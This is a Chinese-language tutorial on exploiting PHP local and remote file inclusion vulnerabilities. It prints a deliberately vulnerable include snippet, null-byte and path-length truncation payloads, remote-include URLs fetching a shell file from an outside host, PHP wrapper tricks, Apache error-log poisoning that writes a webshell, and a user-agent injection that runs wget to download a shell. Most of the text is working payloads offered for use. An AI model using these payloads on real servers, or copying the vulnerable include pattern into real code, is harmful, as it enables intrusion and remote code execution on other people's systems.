1. 程式人生 > >檔案包含漏洞的利用

檔案包含漏洞的利用

本地包含

普通本地包含

只要網站支援上傳,上傳任意字尾檔案,只要其中包含一句話,包含即可執行。

測試程式碼

 <?php  include_once($_GET['f']); ?>

POC

http://127.0.0.1/test/123.php?f=test.txt

截斷本地包含

截斷方法

因為伺服器程式碼規定了字尾,所以不能為所欲為的包含檔案。

%00截斷

在Magic_quote_gpc為off的情況下才可以使用 利用方法就是這樣
http://127.0.0.1/test/123.php?f=test.txt%00

長檔名截斷

因為windows和linux的檔名長度是有限制的,超過其長度的會被忽略 通常情況下windows的截斷長度為260,linux的長度為4096,這一不用在意具體長度,只要把需要截斷的字串擠到後面就可以了 windows在檔名後加/.  或 \.都是可以的 測試用的程式碼
<?php
	// 1. 初始化
	$ch = curl_init();
	// 2. 設定選項,包括URL
	
	$a='';
	for($i=0;$i<126;$i++){
		$a .= '/.';
	}	
	$url="http://127.0.0.1/test/123.php?f=test.txt".$a;
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
	// 3. 執行並獲取HTML文件內容
	$output = curl_exec($ch);
	// 4. 釋放curl控制代碼
	curl_close($ch);
?>

測試程式碼

 <?php  include_once($_GET['f'].".php"); ?>

POC

http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````

遠端包含

必須是allow_url_include=On的時候才能使用,不過他在預設情況下是關閉的。

普通遠端包含

用法和本地包含一樣,只需要把本地路徑換成url即可
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt

截斷遠端包含

截斷方法

問號截斷法

url的話就可以隨意發揮了,把不想要的扔到引數裡面就好了,非常簡單
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?

POC

這幾個POC大多都與PHP的wrapper有關,詳情可以看這裡
http://www.php.net/manual/en/wrappers.php.php

涉及到allow_url_fopen 和 allow_url_include 這兩個設定,後者php.ini裡面沒有,需要自行新增。

詳細設定在這裡

http://php.net/manual/zh/filesystem.configuration.php

data://  或者 php://input 可以在這allow_url_include關閉的情況下包含自定義資料,不過兩種方法只在5.0以下是有效的,

之後的版本include就會報錯了,比較可惜。

普通利用

?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)

php://input

這個是php的輸入流,可以讀到沒有處理過的POST資料 這樣測試時的確可以取到完整的POST資料
$raw = file_get_contents('php://input','r');
echo $raw;
這樣在allow_url_include=Off會報錯了
include_once("php://input");

 php://filter

利用主要是利用了resource和vonvert,這樣可以讀取到php的程式碼。
@readfile("php://filter/convert.base64-encode/resource=test.txt");

這樣也是可以的

@readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");
include的狀況和php://input類似

data URIs

情況和以上兩種一樣,在低版本才能發揮效果
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");
 php://fd 這個在5.3.6中增加的新wrapper,據說可以繞過allow_url_include進行包含。

全域性變數覆蓋型包含

這個我沒仔細研究啦····哈哈哈~

利用技巧

Apache錯誤日誌上傳一句話

這個技巧解決了,本地包含不能上傳馬的問題,還是利用熟悉的Apache錯誤日誌。 首先在配置檔案中找到Apache日誌的存放目錄ErrorLog ../logs/apache_error.log
http://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf
之後構造一個錯誤的訪問,使其被記錄到日誌中,這裡注意瀏覽器會自動給url裡面的字元編碼,這裡需要用其他方式模擬提交
http://127.0.0.1/test/<?php echo hacked ?>
最後包含日誌檔案,之前寫入的php程式碼就會被執行 有的時候日誌檔案太大導致頁面無相應,可以寫入這一句,實際寫入時不要忘記加轉義符
<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?php echo hacked ?>");fclose($fp);?>
之後包含日誌檔案,一句話就被寫到了/www/shell.php這個目錄

Linux環境變數包含一句話

原理是包含/proc/self/environ,這裡會有使用者訪問web的session資訊,其中也會包含user-agent的引數, 這個引數你瀏覽器名稱的引數。而這個引數在我們客戶端是可以修改的, 所以說想個辦法修改user-agen,比如修改成
<?system('wget http://81sec.com/shell.txt -O shell.php');?>
然後提交一個,包含/proc/self/environ的請求就可以了。

session檔案包含一句話

這個沒有仔細研究,詳情看這裡
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
這個很厲害回頭研究
http://zone.wooyun.org/content/2196?1176